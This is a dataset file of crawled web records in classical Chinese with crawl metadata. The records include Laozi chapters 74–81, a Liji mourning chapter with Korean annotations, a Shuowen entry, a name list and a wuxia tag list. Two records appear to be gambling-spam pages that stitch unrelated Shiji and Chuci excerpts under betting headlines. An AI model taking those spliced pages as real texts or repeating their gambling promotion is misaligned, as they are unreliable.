來。繟然而善謀。天網恢恢。疏而不失。\n七十四章编辑\n民不畏死。奈何以死懼之。若使民常畏死。而為奇者。吾將得而殺之。孰敢。常有司殺者殺。夫代司殺者殺。是謂代大匠斲。夫代大匠斲者。希有不傷其手矣。\n七十五章编辑\n民之饑。以其上食稅之多。是以饑。民之難治。以其上之有為。是以難治。民之輕死。以其上求生之厚。是以輕死。夫唯無以生為者。是賢於貴生。\n七十六章编辑\n人之生也柔弱。其死也堅強。草木之生也柔脆。其死也枯槁。故堅強者死之徒。柔弱者生之徒。是以兵強則滅。木強則折。強大處下。柔弱處上。\n七十七章编辑\n天之道。其猶張弓與。高者抑之。下者舉之。有餘者損之。不足者補之。天之道。損有餘而補不足。人之道。則不然。損不足以奉有餘。孰能有餘以奉天下。唯有道者。是以聖人為而不恃。功成而不處。其不欲見賢。\n七十八章编辑\n天下莫柔弱於水。而攻堅強者莫之能勝。以其無以易之。弱之勝強。柔之勝剛。天下莫不知。莫能行。是以聖人云:受國之垢。是謂社稷主。受國不祥。是為天下王。正言若反。\n七十九章编辑\n和大怨。必有餘怨。報怨以德。安可以為善。是以聖人執左契。而不責於人。有德司契。無德司徹。天道無親。常與善人。\n八十章编辑\n小國寡民。使有什伯人之器而不用。使民重死而不遠徙。雖有舟輿。無所乘之。雖有甲兵。無所陳之。使民復結繩而用之。甘其食。美其服。安其居。樂其俗。鄰國相望。雞犬之聲相聞。民至老死。不相往來。\n八十一章编辑\n信言不美。美言不信。善者不辯。辯者不善。知者不博。博者不知。聖人不積。既以為人己愈有。既以與人己愈多。天之道。利而不害。聖人之道。為而不爭。\n|↑返回頂部|\n|本作品在全世界都属于公有领域,因为作者逝世已经超过100年,并且于1927年1月1日之前出版。|","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E8%80%81%E5%AD%90_(%E6%A0%A1%E8%A9%81%E7%89%88)","date":"2022-01-19T11:39:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320301309.22\/warc\/CC-MAIN-20220119094810-20220119124810-00272.warc.gz","language":"lzh","language_score":0.4145450592,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.41454505920410156, \"cmn_Hani_score\": 0.37539222836494446, \"nan_Hani_score\": 0.11882396787405014, \"jpn_Jpan_score\": 0.037834182381629944, \"wuu_Hani_score\": 0.02984616346657276, \"yue_Hani_score\": 0.017227524891495705}","num_words":168,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.198,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.416,"perplexity_score":500.0,"cluster_detection":1} +{"text":"建立家谱,必须先到安徽胡氏宗亲网首页注册会员 家谱首页 家谱列表 世系列表 克源公支谱—世系列表 代 门 全 A3 A4 树 克源公 宣焰公 昌庸公 懋仁公 既安公 芳澜公 嘉鼐 载福 载宁 懋义公 既旺公 芳才公 加柳 懋礼公 既来公 既廷公 既青公 既盈 懋智公 懋信公 宣焕公 昌余公 昌盛公 懋荣公 懋成公 既宽公 懋德公 懋焰公 宣辉公 宣煌公 浏览器不支持嵌入式框架,或被配置为不显示嵌入式框架。","id":"","dump":"CC-MAIN-2022-49","url":"http:\/\/ahhszqw.com\/b\/jiapu\/sxlist.asp?jpid=3","date":"2022-12-03T08:11:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710926.23\/warc\/CC-MAIN-20221203075717-20221203105717-00623.warc.gz","language":"lzh","language_score":0.5858051777,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5858051776885986, \"cmn_Hani_score\": 0.3655222952365875, \"nan_Hani_score\": 0.032279253005981445}","num_words":42,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.708,"perplexity_score":500.0,"cluster_detection":1} +{"text":"墓字今補。丘謂之虛。故曰丘墓。亦曰虛墓。檀弓曰虛墓之閒、未施哀於民而民哀是也。周禮有冢人、有墓大夫。鄭曰。𠣥、封土爲丘壠。象冢而爲之。墓、冢塋之地。孝子所思慕之處。然則丘自其高言。墓自其平言。渾言之則曰丘墓也。墓之言規模也。方言。凡葬而無墳謂之墓。所以墓謂之墲。注引漢劉向傳初陵之墲。今漢書作初陵之橅。\n莫故切。五部。","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.shuowen.org\/view\/9096?pinyin=mu","date":"2023-03-20T12:02:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943483.86\/warc\/CC-MAIN-20230320114206-20230320144206-00012.warc.gz","language":"lzh","language_score":0.4941897392,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4941897392272949, \"cmn_Hani_score\": 0.35346800088882446, \"jpn_Jpan_score\": 0.07402299344539642, \"yue_Hani_score\": 0.038767386227846146, \"wuu_Hani_score\": 0.017646418884396553, \"nan_Hani_score\": 0.013810696080327034}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.494,"perplexity_score":500.0,"cluster_detection":1} +{"text":"聖訓詳解12-翁士琇經理主講\n08 March 2022\n興復倫理居里仁 懷善為寶濟紅塵成聖由近而致遠 內外修持上達臻面顏和悅事於上 禮於萬類施慈恩臨淵履薄保愿心 慎行世路莫失真 我本復聖顏淵 奉母旨 至壇軒 參母駕 再批言 哈哈靜心反思己之身 因何而能轉為人有云無業不轉人 吾言亦是來報恩因緣相牽成一家 累世所結緣份深父母辛勞來養育 願兒皆存好人品目下人兒崇何物 爭財卻忘德為本仁愛懷身功德進 行道利世施以仁周公所以傳美譽 恩於天下鬼神欽嚴省自我寬待眾 誠於天也忠待君毫無偏頗存中正 大行其道復善音有為之行己亦可 修身養性遵五倫一化十來十化百 革故鼎新立標準處世立身懷忠信 化世歸根同求真君子之言寡而實 言出必行懷恭謹與朋友交道真情 ...\n00:51:32","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/zeno.fm\/podcast\/179saint-kssm\/","date":"2023-06-03T04:47:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224649105.40\/warc\/CC-MAIN-20230603032950-20230603062950-00751.warc.gz","language":"lzh","language_score":0.5193384886,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5193384885787964, \"nan_Hani_score\": 0.27352502942085266, \"cmn_Hani_score\": 0.13578666746616364, \"yue_Hani_score\": 0.051219407469034195, \"wuu_Hani_score\": 0.01291367132216692}","num_words":26,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.53,"perplexity_score":500.0,"cluster_detection":1} +{"text":"[是爲首故記喪者以是名篇]\n01. 三年之喪은 何也요? 曰稱[去聲]情而立文하야 因以飾群하야 別親疏貴賤之節하야 而弗可損益也이니, 故로 曰호대, '無易之道也라'하니라. 創[平聲]鉅者는 其日이 久하고, 痛甚者는 其愈이 遲하니, 三年者는 稱情而立文이니, 所以爲至痛極也요, 斬衰苴杖하며, 居倚食粥하며, 寢苫枕塊는 所以爲至痛飾也라. 三年之喪이 二十五月而畢하나니, 哀痛이 未盡하며, 思慕이 未忘하나, 然而服을 以是斷[丁亂反]之者는 豈不送死이 有已며, 復生이 有節也哉리요.[488]\n[創:다칠창(傷),데다,비로소][鉅:클거,강하다,어찌,갑자기][愈:병나을유,낫다,더욱][苴:암삼저,大喪杖,신바닥][苫:이엉점,거적자리,書貌]\n人不能無群이요, 群不可無別이니, 立文以飾之則親䟽貴賤之等이 明矣라. 弗可損益者는 中制를 不可不及이며, 亦不可過니, 是所謂無易之道也라. 治親䟽貴賤之節者는 惟喪服이 足以盡其詳이니, 服莫重於斬衰하고, 時莫久於三年이라. 故,此篇에 列言五服之輕重而自重者始라.\n石梁王氏曰二十四月에 再期니, 其月餘日을 不數하야 爲二十五月이요, 中月而禫이니 註에 謂間一月則所間之月은 是空一月하야 爲二十六月이요, 出月禫祭하야 謂二十七月이니, 徙月則樂矣라.\n[臨川吳氏曰曰者設爲答辭也問者專問三年之義而答者因其問三年幷及期九月五月三月諸服輕重之差情謂哀情文謂禮文群謂服五服之衆人言喪之五服各稱哀情之輕重而立隆殺之禮文也其禮文之或隆或殺因以表飾五服衆人哀戚輕重之情而分別所爲服者之或輕或重與夫服喪者或貴而有絶有降或賤而無降各有品等之節也其親而服重或賤而無降者不可損之而減輕其䟽而服輕或貴而有絶有降者不可益之而加重也其弗可輕重者乃一定無可改易之道理也]\n[張子曰三年之喪二十五月而畢又兩月爲禫共二十七月禮鑽燧改火天道一變其期已矣情不可以已於是再期再期又不可以已於是加之三月是二十七月也][鑽:끌찬,뚫을찬,송곳][燧:부싯돌수]\n02. 凡生天地之間者有血氣之屬은 必有知하고, 有知之屬은 莫不知愛其類하나니, 今是大鳥獸이 則失喪[去聲]其羣匹하고, 越月踰時焉則必反巡過其故鄕하야 翔回焉하며, 鳴號[平聲]焉하며, 蹢[直亦反]躅[直六反]焉하며, 踟[馳]躕[廚]焉하야, 然後에 乃能去之하고, 小者이 至於燕雀하야도 猶有啁[周]噍[啾]之頃焉하야 然後에야 乃能去之하나니, 故로 有血氣之屬者는 莫知[去聲]於人하니, 故로 人이 於其親也에 至死不窮하나니라.[490]\n[蹢:뛸척(跳貌)]躅:머뭇거릴촉(躑躅),강동강동 뛰다(以足擊地)자취(迹)탁][踟:머뭇거릴지(行不進)][躕:머뭇거릴주(不進) ][啁:비웃을조,조롱하다,지껄이다][噍:씹어먹을초.噍噍:새지저귀는소리][啾:어린아이작은소리추,읊조리다]\n鳥獸이 知愛其類而不如人之能充其類이니, 此所以天地之性이 人爲貴也라.\n[臨川吳氏曰翔回鳴號謂鳥蹢䠱踟躕謂獸鳴號者悲傷發於聲蹢䠱者悲傷見於行鳴號之先而翔回蹢䠱之後而踟躕皆謂遲留將去不忍去也啁噍小鳥聲其聲群沸迫急失其常度也頃者言斯須而不能久大鳥獸則越月踰時反巡過其初死之處久之乃能去則不止如燕雀啁噍之頃者矣人之於親則至死而其情無窮己則又不止如大鳥獸之久之乃能去者矣][沸:끓을비,용솟음치다]\n03. 將由夫患邪淫之人與인댄 則彼朝死而夕忘之하나니, 然而從之면 則是曾鳥獸之不若也이니, 夫焉能相與羣居而不亂乎이리요?[491]\n患猶害也이니 邪淫之害性이 如疾痛之害身이라. 故云患邪淫也라. 不如鳥獸는 爲無禮也이니 無禮則亂矣라.\n04. 將由夫修飾之君子與인댄 則三年之喪이 二十五月而畢호미 若駟之過隙하니, 然而遂之면 則是無窮也라. 故로 先王焉爲之立中制節하사 壹使足以成文理면 則釋之矣시니라.[492]\n先王制禮하사 蓋欲使過之者로 俯而就之則送死有已하며, 復生有節하고, 不至者로 跂而及之則不至於鳥獸之不若矣라. 壹使足以成文理는 謂無分君子小人하고, 皆使之遵行禮節하야 以成其飾群之文理則先王憂世立敎之心이 遂矣라. 故,曰釋之也라.\n[臨川吳氏曰不肖者之情薄故其親朝死而夕已忘之若從其情而不以禮勉其不及則親死不哀不如鳥獸於死者如此則其於生者安能保其不如鳥獸之亂乎賢者之情厚視二十五月之久如駒過隙之速若遂其情而不以禮抑其過則哀親之情無窮已之時也故先王於賢不肖之過不及而爲之立中使不可不及亦不可過制爲喪服年月之限節但使足以成完儀文義理則除釋其服矣若更過此節則不肖有所不勝更不及此節則賢者有所不滿也] [隙:틈극]\n05. 然則何以至期也요? 曰至親은 以期로 斷이니라. 是何也요? 曰호대 天地則已易矣며, 四時則已變矣며, 其在天地之中者이 莫不更始焉할새 以是로 象之也이니라.[493]\n䟽曰父母에 本三年이어늘 何以至期는 是問其一期應除之義라. 故,答云至親以期斷은 是明一期可除之節이라. 故,期而練이니 男子는 除絰하고, 婦人은 除帶니, 下文에 云加隆이라. 故至三年이라하니라.\n06. 然則何以三年也요? 曰加隆焉爾也이니 焉使倍之라. 故再期也이니라.[494]\n又問旣是以期斷矣면 何以三年也오? 答謂孝子이 加隆厚於親이라. 故,如此也라. 焉은 語辭니 猶云所以也라.\n07. 由九月以下는 何也요? 曰호대 焉使弗及也라. 故로 三年以爲隆하고, 緦小功以爲殺[色介反]하고, 期九月以爲間[平聲]하야 上取象於天下하며, 取法於地하며, 中取則於人하니, 人之所以羣居和壹之理盡矣니라. 故,三年之喪은 人道之至文者也라. 夫是之謂至隆이니, 是百王之所同이며 古今之所壹也이니, 未有知其所由來者也라. 孔子이 曰하사대 \"子生三年然後에사 免於父母之懷이니 夫三年之喪은 天下之達喪也라\" 하시니라.[494]\n弗及은 恩之殺也이니 三月이 不及五月하고, 五月이 弗及九月하고, 九月이 不及期也라. 期與大功은 在隆殺之間이라. 故云期九月以爲間也라. 取象於天地者는 三年은 象閏하고, 期는 象一歲하고, 九月은 象物之三時而成하고, 五月은 象五行하고, 三月은 象一時也라. 取則於人者는 始生三月而翦髮하야 三年而免父母之懷也라. 和以情言이니 謂情無不睦也요, 壹以禮言이니 謂禮無不至也라. 人之所以相與群居而情和禮壹者이 其理於喪服에 盡之矣라. 父母之喪은 無貴賤이라. 故曰天下之達喪也라하니, 達은 論語에 作通이니라.\n[嚴陵方氏曰言服之正雖至親皆以期而除至於倍之而再期者特加隆於父母而已天以有所垂故曰取象經言天垂象是矣地以有所效故曰取法亦言效法之謂坤是矣人以有所作故曰取則書言明哲實作則是矣然而喪或以三月或以五月或以九月或以期年或以三年喪凶禮也乃以陽數之奇何哉蓋陰所以致死陽所以致生死而致生之者孝子不忍死其親之意也]\n[馬氏曰中庸曰期之喪達乎大夫三年之喪達乎天子父母之喪無貴賤一也然而世衰道微紐於習俗故雖宰我親受業於孔門猶曰三年不爲禮禮必壞三年不爲樂樂必崩鑽燧改火期可已矣雖聖人之善誘亦無如之何姑曰於女安乎女安則爲之蓋人情之大不美也如此亦豈可以强率以從先王之制哉鳴呼常人之所行而宰我乃獨以爲異固孔子所不取禮之所載三年問者豈亦當時之人疑此爲重歟故曰凡天地之間有血氣之屬大至於鳥獸小至於燕雀莫不知愛其類又況於人乎其曰三年之喪人道之至文百王之所同古今之所一則爲此書者亦有爲而作也]","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/jkch.namoweb.net\/cham\/han\/yeky\/38-3yeon-mwn.htm","date":"2018-09-25T11:30:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267161501.96\/warc\/CC-MAIN-20180925103454-20180925123854-00101.warc.gz","language":"lzh","language_score":0.5337876678,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5337876677513123, \"cmn_Hani_score\": 0.2869017720222473, \"kor_Hang_score\": 0.11408737301826477, \"jpn_Jpan_score\": 0.04649253189563751}","num_words":239,"character_repetition_ratio":0.003,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.534,"perplexity_score":500.0,"cluster_detection":1} +{"text":"99真人外媒土耳其军队撤离叙利亚多处驻地并烧毁阵地\n八年,使公子弃疾将兵灭陈。十年,召蔡侯,醉而杀之。使弃疾定蔡,因为陈蔡公。\n鲍叔既进管仲,以身下之。子孙世禄於齐,有封邑者十馀世,常为名大夫。天下不多管仲之贤而多鲍叔能知人也。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n中康崩,子帝相立。帝相崩,子帝少康立。帝少康崩,子帝予立。帝予崩,子帝槐立。帝槐崩,子帝芒立。帝芒崩,子帝泄立。帝泄崩,子帝不降立。帝不降崩,弟帝扃立。帝扃崩,子帝廑立。帝廑崩,立帝不降之子孔甲,是为帝孔甲。帝孔甲立,好方鬼神,事淫乱。夏后氏德衰,诸侯畔之。天降龙二,有雌雄,孔甲不能食,未得豢龙氏。陶唐既衰,其后有刘累,学扰龙于豢龙氏,以事孔甲。孔甲赐之姓曰御龙氏,受豕韦之后。龙一雌死,以食夏后。夏后使求,惧而迁去。\n萧相国何者,沛丰人也。以文无害为沛主吏掾。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/zljcg.nbgsw.com\/AQGLC54324.html","date":"2020-02-22T15:01:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145708.59\/warc\/CC-MAIN-20200222150029-20200222180029-00041.warc.gz","language":"lzh","language_score":0.3884938359,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.3884938359260559, \"cmn_Hani_score\": 0.28580543398857117, \"nan_Hani_score\": 0.08245836943387985, \"wuu_Hani_score\": 0.032262466847896576, \"zxx_Latn_score\": 0.030431967228651047, \"und_Tang_score\": 0.030158450827002525, \"jpn_Jpan_score\": 0.015772489830851555, \"yue_Hani_score\": 0.015618101693689823}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.422,"perplexity_score":500.0,"cluster_detection":1} +{"text":"188体育注册开盘三大指数涨跌不一沪指跌026氮化镓概念强势\n考王封其弟于河南,是为桓公,以续周公之官职。桓公卒,子威公代立。威公卒,子惠公代立,乃封其少子於巩以奉王,号东周惠公。\n\"若夫终日暴露驰骋,劳神苦形,罢车马之用,抏士卒之精,费府库之财,而无德厚之恩,务在独乐,不顾众庶,忘国家之政,而贪雉兔之获,则仁者不由也。从此观之,齐楚之事,岂不哀哉!地方不过千里,而囿居九百,是草木不得垦辟,而民无所食也。夫以诸侯之细,而乐万乘之所侈,仆恐百姓之被其尤也。\"\n大荒骆岁:岁阴在巳,星居戌。以四月与奎、娄晨出,曰跰踵。熊熊赤色,有光。其失次,有应见亢。\n虞卿者,游说之士也。蹑蹻檐簦说赵孝成王。一见,赐黄金百镒,白璧一双;再见,为赵上卿,故号为虞卿。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/mip.shjxjkqcwx.com\/CQQXH20441.html","date":"2020-02-21T12:36:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145529.37\/warc\/CC-MAIN-20200221111140-20200221141140-00447.warc.gz","language":"lzh","language_score":0.4649273157,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4649273157119751, \"cmn_Hani_score\": 0.33453235030174255, \"nan_Hani_score\": 0.07254026085138321, \"wuu_Hani_score\": 0.020798949524760246, \"yue_Hani_score\": 0.01997639425098896, \"zxx_Latn_score\": 0.016128933057188988, \"jpn_Jpan_score\": 0.012303641065955162}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.19,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.405,"perplexity_score":500.0,"cluster_detection":1} +{"text":"本站提示:以下提供的所有名字僅供參考,並非針對八字分析後的權威結果,請仔細斟酌後在套用。\n宗學婷 宗西玲 宗愫玲 宗素玲 宗妤瓊 宗雅麗 宗春瑛 宗志芳 宗筱婧 宗瑞雪 宗琳珏 宗軍玲 宗琳心 宗琳鈺 宗琳鑫 宗梵玉 宗鑫琳 宗繼萍 宗玲瑜 宗媛莉 宗馨怡 宗馨秀 宗昕秀 宗定英 宗妍眉 宗秀紅 宗順娥 宗夢媛 宗建芬 宗陳秀 宗魯秀 宗冰婧 宗芊雪 宗欣秀 宗金文 宗瑜琴 宗秋怡 宗筧茹 宗茹萍 宗茹平 宗蕊瑩 宗國玉 宗曉娟 宗睿穎 宗奉文 宗恩麗 宗李燕 宗淑萍 宗秋琴 宗立英 宗慕琳 宗雪婷 宗凡怡 宗子倩 宗真美 宗姿美 宗笑妍 宗冰倩 宗倩涵 宗鑫潔 宗欣麗 宗億倩 宗秀婷 宗瑩媚 宗銀梅 宗銀妹 宗銀美 宗英美 宗小麗 宗瑩玫 宗瑩梅 宗行妹 宗德萍 宗小雪 宗弋倩 宗向英 宗莉潔 宗仁燕 宗愛文 宗吳萍 宗智莉 宗翠萍 宗景娟 宗玲艷 宗奕冉 宗燕清 宗湘怡 宗美芳 宗維玲 宗培英 宗廷文 宗庭文 宗海艷 宗靈美 宗紀瑤 宗良娟 宗莉江 宗莉鎵 宗桃花 宗莉秀 宗莉岷 宗紀雪 宗紀媛 宗婉婷 宗煊玉 宗興怡 宗昕怡 宗恆玉 宗珂冉 宗欣怡 宗美美 宗佳蓉 宗慧瑩 宗開娟 宗芬 宗子瑤 宗思瑩 宗莉娉 宗洛瑤 宗繼瓊 宗小琴 宗沈芳 宗雅娜 宗亞娜 宗青芳 宗旭琴 宗秀琴 宗雪琴 宗琳琳 宗燕雨 宗燕婷 宗嘵琳 宗筱琳 宗玉倩 宗佩倩 宗在琴 宗夢冉 宗在娟 宗月文 宗芙蓉 宗金花 宗思婭 宗絲婭 宗文紅 宗迪娜 宗怡婷 宗世潔 宗曉裴 宗素娟 宗夕悅 宗湘萍 宗碧蓉 宗玲毓 宗心玲 宗寶玲 宗昀玲 宗小冉 宗玲燕 宗毓茹 宗迎霞 宗倩如 宗秀娟 宗海玉 宗秋妍 宗劍霞 宗芮瑩 宗晶文 宗愛英 宗燕紅 宗曉琴 宗昕妍 宗淑琴 宗樊悅 宗佳玉 宗婧曼 宗思琴 宗瑞玉 宗桂玲 宗怡晨 宗雪茹 宗茹雪 宗玉瑩 宗妤嫣 宗雅倩 宗婉茹 宗鈺穎 宗鈺媛 宗鈺婷 宗照婷","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/dr.itsfun.com.tw\/xingming\/mzdq\/5761.html","date":"2020-04-09T17:43:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371861991.79\/warc\/CC-MAIN-20200409154025-20200409184525-00351.warc.gz","language":"lzh","language_score":0.9716240764,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9716240763664246, \"cmn_Hani_score\": 0.014066308736801147}","num_words":190,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.97,"perplexity_score":500.0,"cluster_detection":1} +{"text":"所有標籤\n以下為所有討論主題標籤,你可以選擇喜歡的來看看大家在討論什麼?\n九陽真經 喬鋒 嵩山派 黃蓉 神刀斬 夏青青 滅神掌 長河正氣 碧血洗銀槍 關興 鷹變十三式 林朝英 邊城浪子 火併蕭十一郎 無念禪功 蔣濟 蕭摩訶 合淝之戰 大意失荊州 諸葛恪 史火龍 梅超風 衛青 丁不三 博望坡之戰 水雲袖法 索額圖 五絕神功 少林三渡 臥龍生 孫尚香 金絲綿掌 曹操討伐袁術之戰 掩月劍法 挾天子 蒼穹十三式 魅影劍法 翔鷹劍法 驚魂六記 劍客行 封天閉地 南皮之戰 丞相 風鈴中的刀聲 空明拳 八賢王 交阯之亂 太虛勁 亡神十八掌 越女劍 天地明環 蕭十一郎 天外飛仙 謝遜 荀彧 蕭逸 泰山派 五虎斷門刀 夷陵之戰 裘千尺 九月鷹飛 雙手互搏 紫微軟劍 風萍掌 韋小寶 呂后 玄氣大法 荊州 李牧 葵花寶典 黃祖 竹節鞭 隆中對 王元姬 法正 小龍女 神蛛凌空銀絲渡虛 康熙 公孫止 伏魔劍法 菊花的刺 桃谷六仙 南匈奴 關羽 玄慈 孫堅 急風十三刺 月異星邪 丹心術 禿筆翁 魏晉玄學 心佛掌 七流星 天魔心法 鍾會之亂 刑遁術 定逸師太 雷霆刀法 呂母 木婉清 官渡之戰 鮑三娘 歸辛樹 彭長老 仙門劍訣 玩命拳 流星鎚 無想奼女大法 四大名捕 不死七幻 紫霞神功 董允 梅花鉤 陸遜 穆念慈 吳應熊 關平 書劍恩仇錄 太虛錯手 殭屍拳 一指頭禪 呂布爭徐州 乾隆 銀龍手 曹叡 武夷派 井中八法 龍門鏢局 笮融 伏虎神拳 狄雲 梵我如一 韋一笑 孫策 冷月寶刀 郭襄 羊祜 興勢之戰 完顏洪烈 倚天屠龍記 蘇荃 六脈神劍 金蛇劍 太極七截棍 御盡萬法根源智經 姜維北伐 連城訣 奪命簪 蔣幹 鬼火十三拍 沐劍屏 馬謖 逍遙訣 九陰真經 孫策平江東之戰 明珠 練師 劍花煙雨江南 荊楚爭雄記 丹青生 歐陽鋒 俠客行 李典 倪匡 楊頂天 銀雕 姜維 星际浪子 天地明環 九難 楚留香新傳之新月傳奇 飛天狐狸 楚留香新傳之借屍還魂 枯禪玄功 金針開穴之法 諸葛亮北伐 定世鞭 阿珂 彼岸劍訣 石雙英 殷離 回轉斧法三十式 丁不四 摘心手 魅影身法 羅漢伏虎拳 飛鶯飛鷹 軟蝟甲 胡斐 天龍八部 蛤蟆功 李廣 紫血大法 潼關之戰 漢中之戰 尉遲敬德 張遼 種玉大法 左慈 丁典 鳩摩智 西蜀地形圖 石亭之戰 任我行 青城派 風清揚 嫁衣神功 魯有腳 一扇十八搖 魏滅蜀之戰 丞相,起風了 宗預 陳宮 七十二路分筋錯骨手 青松劍譜 的盧 豔陽刃法 關索 血戰十式 移花接玉 魏延 蕭遠山 黃忠 賈充 屯田制 白骨爪 浣花洗劍錄 神州奇俠 斷絕神功 黃皓 霍都 滅絕師太 七种武器 夷陵之戰 王語嫣 藏密智能書 迷蹤七變 郭嘉 鹿鼎記 尉遲恭 洪承疇 魏滅蜀之戰 賈南風 伊達政宗 楚留香新傳 周伯通 靈犀一指 天魔擊三大散招 桃花島 魔佛十式 閔柔 神鵰俠侶 呂壹專權 挾刀揉手 逆水寒 馬皇后 兵器譜 袁紹 諸葛亮南征 岳不羣 鎖子縮骨功 黃權 日月麗天大法 遊俠錄 碎金剛乘 奼女心法 裘千仞 峨嵋派 七殺手 天一掌 奪命十三劍 逍遙拆 破碎虚空 趙雲 文泰來 祝融 慕容博 趙志敬 林平之 界橋之戰 彩環曲 武田信玄 布衣神相 黃天大法 英雄無淚 換日大法 仇國論 武當掌法 儀琳 謝煙客 夢姑 天鷹教 諸葛瞻 歡樂英雄 東興之戰 霍去病 絕情谷 金剛門 歸藏鞭 飛刀,又見飛刀 鬼魅潛蹤 枯木神功 黃皓專權 毛玠 易京之戰 白自在 曹操攻徐州之戰 譙周 冰玄勁 小昭 洪七公 瘋魔上天下地一百零七撃 崆峒派 王平 三少爺的劍 披風杖法 飛龍大九式 劉備 劉表 金輪法王 曹仁 不死印法 華山派 瀟湘子 雙尖軟矛 怒劍狂花 流星鎚 達摩手 法顯 不戒和尚 名劍風流 空綁術 華山論劍 武當七俠 笑傲江湖 楚留香新傳之蝙蝠傳奇 石中玉 扭轉乾坤殺手劍 明玉功 呂蒙 李莫愁 凌統 劍氣書香 諸葛亮 尼摩星 日月當空 月英 金蛇郎君 少林派 溫瑞安 崑崙派 碧海潮生曲 七星龍王 散手八撲 柳絮劍法 心硯 四大惡人 星宿派 白馬嘯西風 鄧芝 曹丕 龍木島主 誰來跟我乾杯 星彩 滿地開花八十—式 七殺拳 天心蓮環 段正淳 趙敏 邊荒傳說 大喬 天魅凝陰 程英 大元丹法 九轉無相神功 建寧公主 黃蓋 丁春秋 孟獲 慕容復 鳳天南 白阿繡 蝴蝶穿花七十二式 絕代雙驕 起風了 石破天 化石神功 血鸚鵡 刀白鳳 全真教 武當派 費禕 幻影劍法 清風十三式 桃根仙 旋風十八矛 雲行雨飄 張大春 吳國太 方證大師 涼州軍劫天子 海大富 羅憲 耶律齊 青釭劍 先天氣功 鄭丰 蒼穹神劍 霍青桐 廖化 王重陽 龐德 石亭之戰 歐陽克 花間十二支 姑蘇慕容 賭局 倉亭之戰 關銀屏 蔣四根 雙修大法 袖裡乾坤 十住大乘功 衛春華 西陵之戰 定靜師太 決戰前後 